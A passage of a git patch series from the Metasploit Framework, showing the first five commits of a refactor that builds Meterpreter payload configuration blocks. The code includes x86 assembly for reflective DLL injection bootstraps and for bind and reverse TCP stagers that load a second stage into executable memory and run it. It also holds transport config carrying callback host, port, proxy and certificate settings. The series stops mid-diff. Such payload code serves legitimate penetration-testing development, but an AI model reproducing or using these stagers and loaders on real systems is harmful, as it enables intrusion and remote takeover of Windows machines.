From bb77a3a0e63e787a15b4c59bd22ff2c4c4b3c2d8 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 25 Apr 2015 21:25:29 +1000 Subject: [PATCH 01/42] First pass of refactoring to support new config block This is pretty basic stuff, but at least it's reusable. --- lib/msf/core/payload/windows/bind_tcp.rb | 1 + .../payload/windows/reflectivedllinject.rb | 108 ++++++++++-------- lib/msf/core/payload/windows/reverse_tcp.rb | 2 + lib/rex/payloads/meterpreter/config.rb | 83 ++++++++++++++ 4 files changed, 149 insertions(+), 45 deletions(-) create mode 100644 lib/rex/payloads/meterpreter/config.rb diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 80e411fb28..222974bdb0 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -37,6 +37,7 @@ module Payload::Windows::BindTcp ) end + return "" conf = { port: datastore['LPORT'].to_i, exitfunk: datastore['EXITFUNC'], diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 8905854ef0..46d2e82b9e 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/reflective_dll_loader' +require 'rex/payloads/meterpreter/config' module Msf @@ -30,11 +31,7 @@ module Payload::Windows::ReflectiveDllInject 'Platform' => 'win', 'Arch' => ARCH_X86, 'PayloadCompat' => { 'Convention' => 'sockedi -https', }, - 'Stage' => - { - 'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] }, - 'Payload' => "" - } + 'Stage' => { 'Payload' => "" } )) register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class ) @@ -44,31 +41,54 @@ module Payload::Windows::ReflectiveDllInject datastore['DLL'] end + def asm_invoke_dll(opts={}) + asm = %Q^ + ; prologue + dec ebp ; 'M' + pop edx ; 'Z' + call $+5 ; call next instruction + pop ebx ; get the current location (+7 bytes) + push edx ; restore edx + inc ebp ; restore ebp + push ebp ; save ebp for later + mov ebp, esp ; set up a new stack frame + ; Invoke ReflectiveLoader() + ; add the offset to ReflectiveLoader() (0x????????) + add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} + call ebx ; invoke ReflectiveLoader() + ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) + ; offset from ReflectiveLoader() to the end of the DLL + add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} + mov [ebx], edi ; write the current socket to the config + mov [ebx+4], esi ; write the current listen socket to the config + push ebx ; push the pointer to the configuration start + push 4 ; indicate that we have attached + push eax ; push some arbitrary value for hInstance + mov ebx, eax ; save DllMain for another call + call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ; push the exitfunk value onto the stack + push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} + push 5 ; indicate that we have detached + push eax ; push some arbitrary value for hInstance + call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ^ + end + def stage_payload(target_id=nil) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) - exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration + asm_opts = { + :rdi_offset => offset, + :length => dll.length, + :exitfunk => 'thread' + } - bootstrap = "\x4D" + # dec ebp ; M - "\x5A" + # pop edx ; Z - "\xE8\x00\x00\x00\x00" + # call 0 ; call next instruction - "\x5B" + # pop ebx ; get our location (+7) - "\x52" + # push edx ; push edx back - "\x45" + # inc ebp ; restore ebp - "\x55" + # push ebp ; save ebp - "\x89\xE5" + # mov ebp, esp ; setup fresh stack frame - "\x81\xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader - "\xFF\xD3" + # call ebx ; call ReflectiveLoader - "\x89\xC3" + # mov ebx, eax ; save DllMain for second call - "\x57" + # push edi ; our socket - "\x68\x04\x00\x00\x00" + # push 0x4 ; signal we have attached - "\x50" + # push eax ; some value for hinstance - "\xFF\xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket ) - "\x68" + exit_funk + # push 0x???????? ; our EXITFUNC placeholder - "\x68\x05\x00\x00\x00" + # push 0x5 ; signal we have detached - "\x50" + # push eax ; some value for hinstance - "\xFF\xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk ) + asm = asm_invoke_dll(asm_opts) + + # generate the bootstrap asm + bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if( bootstrap.length > 62 ) @@ -79,30 +99,28 @@ module Payload::Windows::ReflectiveDllInject # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - # patch in the timeout options - timeout_opts = { - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, + # create the configuration block, which for staged connections is really simple. + config_opts = { + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X86 + }), + :transports => [{ + :scheme => 'tcp', + :lhost => datastore['LHOST'], + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + }], + :extensions => [] } - Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts) - - # patch the target ID into the URI if specified - if target_id - i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00") - if i - t = target_id.to_s - raise "Target ID must be less than 5 bytes" if t.length > 4 - u = "/B#{t} HTTP/1.0\r\n\r\n\x00" - print_status("Patching Target ID #{t} into DLL") - dll[i, u.length] = u - end - end + config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return our stage to be loaded by the intermediate stager - return dll + return dll + config.to_b end end diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index c887b792d0..0c4dd21f4c 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -227,6 +227,8 @@ module Payload::Windows::ReverseTcp add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read + ; esi at this point is zero, which is what + ; we need to pass to the second stage ret ; return into the second stage ^ diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb new file mode 100644 index 0000000000..054016e32c --- /dev/null +++ b/lib/rex/payloads/meterpreter/config.rb @@ -0,0 +1,83 @@ +# -*- coding: binary -*- +require 'msf/core/payload/uuid' +require 'msf/core/reflective_dll_loader' + +class Rex::Payloads::Meterpreter::Config + + include Msf::ReflectiveDLLLoader + + UUID_SIZE = 64 + URL_SIZE = 512 + + def initialize(opts={}) + @opts = opts + end + + def to_b + config_block(@opts) + end + +private + + def to_wchar_t(item, size) + item.to_s.ljust(size, "\x00").unpack("C*").pack("v*") + end + + def session_block(opts={}) + uuid = to_wchar_t(opts[:uuid], UUID_SIZE) + + session_data = [ + 0, # comms socket, patched in by the stager + 0, # listen socket, patched in by the stager + opts[:expiration], # Session expiry + uuid, # the URL to use + ].pack("VVVA*") + end + + def transport_block(opts={}) + # Build the URL from the given parameters, and pad it out to the + # correct size + url = "#{opts[:scheme]}://#{opts[:lhost]}:#{opts[:lport]}" + url << "#{opts[:uri]}/" if opts[:uri] + url = to_wchar_t(url, URL_SIZE) + + transport_data = [ + opts[:comm_timeout], # communications timeout + opts[:retry_total], # retry total time + opts[:retry_wait], # retry wait time + url + ].pack("VVVA*") + end + + def extension_block(ext_name, file_extension) + ext_name = ext_name.strip.downcase + ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{ext_name}", + file_extension)) + + extension_data = [ ext.length, ext ].pack("VA*") + end + + def config_block(opts={}) + # start with the session information + config = session_block(opts) + + # then load up the transport configurations + (opts[:transports] || []).each do |t| + config << transport_block(t) + end + + # terminate the transports with a single NULL byte + config << "\x00" + + # configure the extensions + (opts[:extensions] || []).each do |e| + config << extension_block(e, opts[:file_extension]) + end + + # terminate the extensions with a 0 size + config << [0].pack("V") + + # and we're done + config + end +end From 4ec4868bcf7b1af2c84001a260f67cbfa244147b Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 25 Apr 2015 21:16:25 +1000 Subject: [PATCH 02/42] Make bind hand over the listen socket as well --- lib/msf/core/payload/windows/bind_tcp.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 222974bdb0..953b4f3b16 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -37,7 +37,6 @@ module Payload::Windows::BindTcp ) end - return "" conf = { port: datastore['LPORT'].to_i, exitfunk: datastore['EXITFUNC'], @@ -179,6 +178,7 @@ module Payload::Windows::BindTcp ^ else asm << %Q^ + push edi ; store the listen socket to pass through to the second stage xchg edi, eax ; replace the listening socket with the new connected socket for further comms ^ end @@ -236,6 +236,13 @@ module Payload::Windows::BindTcp add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read + ^ + if close_socket + asm << %Q^ + pop esi ; put the listen socket in esi + ^ + end + asm << %Q^ ret ; return into the second stage ^ From 3a24923361aa68830c84c8d18a3d76f302b4f985 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 25 Apr 2015 22:04:58 +1000 Subject: [PATCH 03/42] Force bind to hand over the listen socket --- lib/msf/core/payload/windows/bind_tcp.rb | 28 ++++++++++++++++-------- 1 file changed, 19 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 953b4f3b16..249adad988 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -167,20 +167,15 @@ module Payload::Windows::BindTcp push edi ; listening socket push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) call ebp ; accept( s, 0, 0 ); - ^ + push edi ; push the listening socket, either to close, or to pass on + xchg edi, eax ; replace the listening socket with the new connected socket for further comms + ^ if close_socket asm << %Q^ - push edi ; push the listening socket to close - xchg edi, eax ; replace the listening socket with the new connected socket for further comms push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) call ebp ; closesocket( s ); ^ - else - asm << %Q^ - push edi ; store the listen socket to pass through to the second stage - xchg edi, eax ; replace the listening socket with the new connected socket for further comms - ^ end asm << %Q^ @@ -213,8 +208,23 @@ module Payload::Windows::BindTcp call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... xchg ebx, eax ; ebx = our new memory address for the new stage + ^ + unless close_socket + asm << %Q^ + pop eax ; listen socket needs to be saved + ^ + end + asm << %Q^ push ebx ; push the address of the new stage so we can return into it + ^ + unless close_socket + asm << %Q^ + push eax ; and push the listen socket up again + ^ + end + + asm << %Q^ read_more: ; push 0 ; flags push esi ; length @@ -237,7 +247,7 @@ module Payload::Windows::BindTcp sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read ^ - if close_socket + unless close_socket asm << %Q^ pop esi ; put the listen socket in esi ^ From 2455163d24f84808753de3d6c2747fb8538d3788 Mon Sep 17 00:00:00 2001 From: OJ Date: Sun, 26 Apr 2015 09:56:44 +1000 Subject: [PATCH 04/42] Refactor configuration for meterpreter payloads (x86) RDI is now back to what it was before, as this leaves all the other RDI style payloads alone. Instead we have a new Meterpreter loader which does the stuff that is required to make meterpreter work well with the new configuration options. This is just the case for reverse_tcp and bind_tcp so far, need to do the other payloads too, along with all the x64 versions. --- lib/msf/core/payload/windows/bind_tcp.rb | 10 ++ .../payload/windows/meterpreter_loader.rb | 101 ++++++++++++++++++ .../payload/windows/reflectivedllinject.rb | 34 +----- lib/msf/core/payload/windows/reverse_tcp.rb | 15 ++- .../payloads/stages/windows/meterpreter.rb | 34 ++++-- 5 files changed, 153 insertions(+), 41 deletions(-) create mode 100644 lib/msf/core/payload/windows/meterpreter_loader.rb diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 249adad988..2e19cf1820 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -47,6 +47,16 @@ module Payload::Windows::BindTcp generate_bind_tcp(conf) end + def generate_transport_config + { + :scheme => 'tcp', + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + # # Generate and compile the stager # diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb new file mode 100644 index 0000000000..a5d5cd1c6e --- /dev/null +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -0,0 +1,101 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/reflective_dll_loader' + +module Msf + + +### +# +# Common module stub for ARCH_X86 payloads that make use of Reflective DLL Injection. +# +### + + +module Payload::Windows::MeterpreterLoader + + include Msf::ReflectiveDLLLoader + include Msf::Payload::Windows + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Meterpreter & Configuration RDI', + 'Description' => 'Inject Meterpreter & the configuration stub via RDI', + 'Author' => [ 'sf' ], + 'References' => [ + [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original + [ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'PayloadCompat' => { 'Convention' => 'sockedi -https', }, + 'Stage' => { 'Payload' => "" } + )) + end + + def asm_invoke_dll(opts={}) + asm = %Q^ + ; prologue + dec ebp ; 'M' + pop edx ; 'Z' + call $+5 ; call next instruction + pop ebx ; get the current location (+7 bytes) + push edx ; restore edx + inc ebp ; restore ebp + push ebp ; save ebp for later + mov ebp, esp ; set up a new stack frame + ; Invoke ReflectiveLoader() + ; add the offset to ReflectiveLoader() (0x????????) + add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} + call ebx ; invoke ReflectiveLoader() + ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) + ; offset from ReflectiveLoader() to the end of the DLL + add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} + mov [ebx], edi ; write the current socket to the config + mov [ebx+4], esi ; write the current listen socket to the config + push ebx ; push the pointer to the configuration start + push 4 ; indicate that we have attached + push eax ; push some arbitrary value for hInstance + mov ebx, eax ; save DllMain for another call + call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ; push the exitfunk value onto the stack + push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} + push 5 ; indicate that we have detached + push eax ; push some arbitrary value for hInstance + call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ^ + end + + def stage_meterpreter + # Exceptions will be thrown by the mixin if there are issues. + dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll')) + + asm_opts = { + :rdi_offset => offset, + :length => dll.length, + :exitfunk => 'thread' # default to 'thread' for migration + } + + asm = asm_invoke_dll(asm_opts) + + # generate the bootstrap asm + bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + + # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry + if( bootstrap.length > 62 ) + print_error( "Meterpreter loader (x86) generated an oversized bootstrap!" ) + return + end + + # patch the bootstrap code into the dll's DOS header... + dll[ 0, bootstrap.length ] = bootstrap + + return dll + end + +end + +end + diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 46d2e82b9e..ae7b5bb429 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -2,7 +2,6 @@ require 'msf/core' require 'msf/core/reflective_dll_loader' -require 'rex/payloads/meterpreter/config' module Msf @@ -57,11 +56,7 @@ module Payload::Windows::ReflectiveDllInject add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} call ebx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) - ; offset from ReflectiveLoader() to the end of the DLL - add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} - mov [ebx], edi ; write the current socket to the config - mov [ebx+4], esi ; write the current listen socket to the config - push ebx ; push the pointer to the configuration start + push edi ; push the socket handle push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance mov ebx, eax ; save DllMain for another call @@ -75,14 +70,14 @@ module Payload::Windows::ReflectiveDllInject ^ end - def stage_payload(target_id=nil) + def stage_payload # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) asm_opts = { :rdi_offset => offset, :length => dll.length, - :exitfunk => 'thread' + :exitfunk => 'thread' # default to 'thread' for migration } asm = asm_invoke_dll(asm_opts) @@ -99,28 +94,7 @@ module Payload::Windows::ReflectiveDllInject # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - # create the configuration block, which for staged connections is really simple. - config_opts = { - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X86 - }), - :transports => [{ - :scheme => 'tcp', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - }], - :extensions => [] - } - - config = Rex::Payloads::Meterpreter::Config.new(config_opts) - - # return our stage to be loaded by the intermediate stager - return dll + config.to_b + dll end end diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 0c4dd21f4c..38ef839df9 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -49,6 +49,17 @@ module Payload::Windows::ReverseTcp generate_reverse_tcp(conf) end + def generate_transport_config + { + :scheme => 'tcp', + :lhost => datastore['LHOST'], + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + # # Generate and compile the stager # @@ -227,8 +238,8 @@ module Payload::Windows::ReverseTcp add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read - ; esi at this point is zero, which is what - ; we need to pass to the second stage + ; esi at this point is zero, which is what we need to + ; pass to the second stage in the case of Meterpreter. ret ; return into the second stage ^ diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 91fa58c645..504296d86b 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -5,19 +5,20 @@ require 'msf/core' -require 'msf/core/payload/windows/reflectivedllinject' +require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' ### # # Injects the meterpreter server DLL via the Reflective Dll Injection payload +# along with transport related configuration. # ### -module Metasploit3 +module Metasploit4 - include Msf::Payload::Windows::ReflectiveDllInject + include Msf::Payload::Windows::MeterpreterLoader include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -28,14 +29,29 @@ module Metasploit3 'PayloadCompat' => { 'Convention' => 'sockedi', }, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_x86_Win)) - - # Don't let people set the library name option - options.remove_option('LibraryName') - options.remove_option('DLL') end - def library_path - MeterpreterBinaries.path('metsrv','x86.dll') + def stage_payload + stage_meterpreter + generate_config + end + + def generate_config + # create the configuration block, which for staged connections is really simple. + config_opts = { + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X86 + }), + :transports => [ generate_transport_config ], + :extensions => [] + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end From 6ac3ecfa7cff295da3740a2ce04fd76c48953779 Mon Sep 17 00:00:00 2001 From: OJ Date: Sun, 26 Apr 2015 12:11:14 +1000 Subject: [PATCH 05/42] Refactor, add reverse_winhttps support Getting closer to a normalised view of what this stuff will look like. There URL patching is slowly being removed. Reverse HTTPS works fine, and by default HTTP should too. Next up, x64 for the same main ones. --- lib/msf/core/handler/reverse_http.rb | 27 ++---- lib/msf/core/payload/windows/bind_tcp.rb | 2 +- lib/msf/core/payload/windows/reverse_tcp.rb | 2 +- .../core/payload/windows/reverse_winhttp.rb | 2 + .../core/payload/windows/reverse_winhttps.rb | 22 +++++ lib/rex/payloads/meterpreter/config.rb | 91 +++++++++++++++---- .../payloads/stages/windows/meterpreter.rb | 22 +++-- 7 files changed, 118 insertions(+), 50 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index ca48676377..b3b1139dc9 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -324,27 +324,12 @@ protected resp['Content-Type'] = 'application/octet-stream' - blob = obj.stage_payload - - verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], - datastore['HandlerSSLCert']) - # - # Patch options into the payload - # - Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, - :ssl => ssl?, - :url => url, - :ssl_cert_hash => verify_cert_hash, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - :ua => datastore['MeterpreterUserAgent'], - :proxy_host => datastore['PayloadProxyHost'], - :proxy_port => datastore['PayloadProxyPort'], - :proxy_type => datastore['PayloadProxyType'], - :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass']) + # generate the stage, but pass in the existing UUID and connection id so that + # we don't get new ones generated. + blob = obj.stage_payload({ + :uuid => uuid, + :uri => conn_id + }) resp.body = encode_stage(blob) diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 2e19cf1820..d95ca4d3ae 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -47,7 +47,7 @@ module Payload::Windows::BindTcp generate_bind_tcp(conf) end - def generate_transport_config + def generate_transport_config(opts={}) { :scheme => 'tcp', :lport => datastore['LPORT'].to_i, diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 38ef839df9..5df4ef1eb4 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -49,7 +49,7 @@ module Payload::Windows::ReverseTcp generate_reverse_tcp(conf) end - def generate_transport_config + def generate_transport_config(opts={}) { :scheme => 'tcp', :lhost => datastore['LHOST'], diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 2745ece351..3e702291ab 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -371,6 +371,8 @@ module Payload::Windows::ReverseWinHttp pop eax ; clear the temporary storage execute_stage: + xor edi, edi ; clear EDI, so we don't mislead meterpreter into + ; thinking it has a valid socket to play with ret ; dive into the stored stage address got_server_uri: diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 4fe531ccff..63bfe575d3 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -3,6 +3,7 @@ require 'msf/core' require 'msf/core/payload/windows/reverse_winhttp' require 'msf/core/payload/windows/verify_ssl' +require 'rex/payloads/meterpreter/uri_checksum' module Msf @@ -82,6 +83,27 @@ module Payload::Windows::ReverseWinHttps generate_reverse_winhttps(conf) end + def generate_transport_config(opts={}) + # most cases we'll haev a URI already, but in case we don't + # we should ask for a connect to happen given that this is + # going up as part of the stage. + uri = opts[:uri] + unless uri + sum = uri_checksum_lookup(:connect) + uri = generate_uri_uuid(sum, opts[:uuid]) + end + + { + :scheme => 'https', + :lhost => datastore['LHOST'], + :lport => datastore['LPORT'].to_i, + :uri => uri, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + # # Determine the maximum amount of space required for the features requested # diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 054016e32c..faf8f09b99 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core/payload/uuid' require 'msf/core/reflective_dll_loader' +require 'rex/parser/x509_certificate' class Rex::Payloads::Meterpreter::Config @@ -8,45 +9,88 @@ class Rex::Payloads::Meterpreter::Config UUID_SIZE = 64 URL_SIZE = 512 + UA_SIZE = 256 + PROXY_HOST_SIZE = 128 + PROXY_USER_SIZE = 64 + PROXY_PASS_SIZE = 64 + CERT_HASH_SIZE = 20 def initialize(opts={}) @opts = opts end def to_b - config_block(@opts) + config_block end private + def is_x86? + @opts[:arch] == ARCH_X86 + end + def to_wchar_t(item, size) item.to_s.ljust(size, "\x00").unpack("C*").pack("v*") end - def session_block(opts={}) + def session_block(opts) uuid = to_wchar_t(opts[:uuid], UUID_SIZE) session_data = [ - 0, # comms socket, patched in by the stager - 0, # listen socket, patched in by the stager - opts[:expiration], # Session expiry - uuid, # the URL to use - ].pack("VVVA*") + 0, # comms socket, patched in by the stager + 0, # listen socket, patched in by the stager + opts[:expiration], # Session expiry + uuid, # the URL to use + ] + + if is_x86? + session_data.pack("VVVA*") + else + session_data.pack("QQVA*") + end end - def transport_block(opts={}) + def transport_block(opts) # Build the URL from the given parameters, and pad it out to the # correct size url = "#{opts[:scheme]}://#{opts[:lhost]}:#{opts[:lport]}" url << "#{opts[:uri]}/" if opts[:uri] url = to_wchar_t(url, URL_SIZE) + # if the transport URI is for a HTTP payload we need to add a stack + # of other stuff + pack = 'VVVA*' transport_data = [ - opts[:comm_timeout], # communications timeout - opts[:retry_total], # retry total time - opts[:retry_wait], # retry wait time - url - ].pack("VVVA*") + opts[:comm_timeout], # communications timeout + opts[:retry_total], # retry total time + opts[:retry_wait], # retry wait time + url # transport URL + ] + + if url.start_with?('http') + proxy_host = to_wchar_t(opts[:proxy_host] || '', PROXY_HOST_SIZE) + proxy_user = to_wchar_t(opts[:proxy_user] || '', PROXY_USER_SIZE) + proxy_pass = to_wchar_t(opts[:proxy_pass] || '', PROXY_PASS_SIZE) + ua = to_wchar_t(opts[:ua] || '', UA_SIZE) + + cert_hash = "\x00" * CERT_HASH_SIZE + if opts[:cert_file] + cert_hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert_file]) + end + + # add the HTTP specific stuff + transport_data << proxy_host # Proxy host name + transport_data << proxy_user # Proxy user name + transport_data << proxy_pass # Proxy password + transport_data << ua # HTTP user agent + transport_data << cert_hash # SSL cert hash for verification + + # update the packing spec + pack << 'A*A*A*A*A*' + end + + # return the packed transport information + transport_data.pack(pack) end def extension_block(ext_name, file_extension) @@ -57,12 +101,12 @@ private extension_data = [ ext.length, ext ].pack("VA*") end - def config_block(opts={}) + def config_block # start with the session information - config = session_block(opts) + config = session_block(@opts) # then load up the transport configurations - (opts[:transports] || []).each do |t| + (@opts[:transports] || []).each do |t| config << transport_block(t) end @@ -70,12 +114,21 @@ private config << "\x00" # configure the extensions - (opts[:extensions] || []).each do |e| - config << extension_block(e, opts[:file_extension]) + file_extension = 'x86.dll' + unless is_x86? + file_extension = 'x64.dll' + end + + (@opts[:extensions] || []).each do |e| + config << extension_block(e, file_extension) end # terminate the extensions with a 0 size - config << [0].pack("V") + if is_x86? + config << [0].pack("V") + else + config << [0].pack("Q") + end # and we're done config diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 504296d86b..af9a63b749 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -8,6 +8,7 @@ require 'msf/core' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 